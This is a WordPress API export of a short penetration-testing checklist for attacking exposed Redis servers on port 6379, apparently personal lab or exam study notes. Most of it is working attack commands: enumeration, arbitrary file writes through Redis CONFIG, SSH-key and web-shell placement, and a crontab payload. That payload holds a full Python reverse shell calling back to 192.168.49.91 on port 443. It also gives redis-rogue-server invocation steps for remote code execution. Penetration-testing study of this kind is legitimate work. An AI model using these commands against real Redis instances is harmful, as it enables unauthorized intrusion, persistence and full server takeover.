{"id":2153,"date":"2021-01-09T15:03:14","date_gmt":"2021-01-09T14:03:14","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=2153"},"modified":"2021-03-02T12:38:12","modified_gmt":"2021-03-02T11:38:12","slug":"6379-redis","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=2153","title":{"rendered":"6379 Redis"},"content":{"rendered":"\n

Enumeration<\/h2>\n\n\n\n

Mandatory<\/h3>\n\n\n\n
  1. Try to con\u00adnect:
    telnet $target 6379 \/\/ or: redis-cli -h $target
    ...
    info
    CONFIG GET *
    system.exec \"id\"<\/code><\/li>
  2. Try to check if you can deter\u00admine the exis\u00adtence of direc\u00adto\u00adries.
    config set dir \/var\/www\/htdocs
    -ERR Changing directory: No such file or directory
    config set dir \/etc
    +OK<\/code><\/li>
  3. Try to write.
    1. Gen\u00ader\u00adal com\u00admands:
      config set dir \/var\/www\/html
      +OK
      config set dbfilename t.txt
      +OK
      set test \"hallo\"
      +OK
      save
      +OK<\/code><\/li>
    2. Pos\u00adsi\u00adble places:
      1. Upload a SSH<\/span> key (think also to the redis user).<\/li>
      2. Upload a reverse shell file<\/li>
      3. Upload a crontab file
        config set dir \/var\/spool\/cron\/crontabs\/
        +OK
        config set dbfilename root
        +OK
        set test \"\\n\\n*\/1 * * * * \/usr\/bin\/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"192.168.49.91\\\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"\/bin\/sh\\\",\\\"-i\\\"]);'\\n\\n\"
        +OK
        save
        +OK<\/code><\/li><\/ol><\/li><\/ol><\/li>
      4. Try to use the redis-rougue-server:
        1. Com\u00adpile the redis exe\u00adcu\u00adtion mod\u00adule<\/a>. make will cre\u00adate src\/module.so<\/code>.<\/li>
        2. Clone the redis-rogue-server.<\/li>
        3. Copy the module.so<\/code> into the server\u2019s direc\u00adto\u00adry as exp.so<\/code>.<\/li>
        4. Exe\u00adcute:
          python3 redis-rogue-server.py --rhost $target --rport 6379 --lhost 192.168.49.91 --lport 443<\/code><\/li><\/ol><\/li><\/ol>\n\n\n\n

          Optional<\/h3>\n\n\n\n
          • Try to upload an SSH<\/span> key<\/li>
          • Try to set a Redis slave to sync all data to an own sys\u00adtem, add data and push it to the master.<\/li><\/ul>\n","protected":false},"excerpt":{"rendered":"

            Enu\u00admer\u00ada\u00adtion Manda\u00adto\u00adry Try to con\u00adnect:telnet $tar\u00adget 6379 \/\/ or: redis-cli \u2011h $target\u2026infoCONFIG GET<\/span> *system.exec \u201cid\u201d Try to check if you can deter\u00admine the exis\u00adtence of direc\u00adto\u00adries.config set dir \/var\/www\/ht\u00addocs-ERR Chang\u00ading direc\u00adto\u00adry: No such file or direc\u00adto\u00adrycon\u00adfig set dir \/etc+OK<\/span> Try to write.  Gen\u00ader\u00adal com\u00admands:config set dir \/var\/www\/html+OKconfig set dbfile\u00adname t.txt+OKset test \u201challo\u201d+OKsave+OK<\/span> Pos\u00adsi\u00adble places:  Upload a [\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[36],"tags":[37,179],"class_list":["post-2153","post","type-post","status-publish","format-standard","hentry","category-port","tag-checklist","tag-redis"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2153","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2153"}],"version-history":[{"count":5,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2153\/revisions"}],"predecessor-version":[{"id":2884,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2153\/revisions\/2884"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2153"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2153"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2153"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}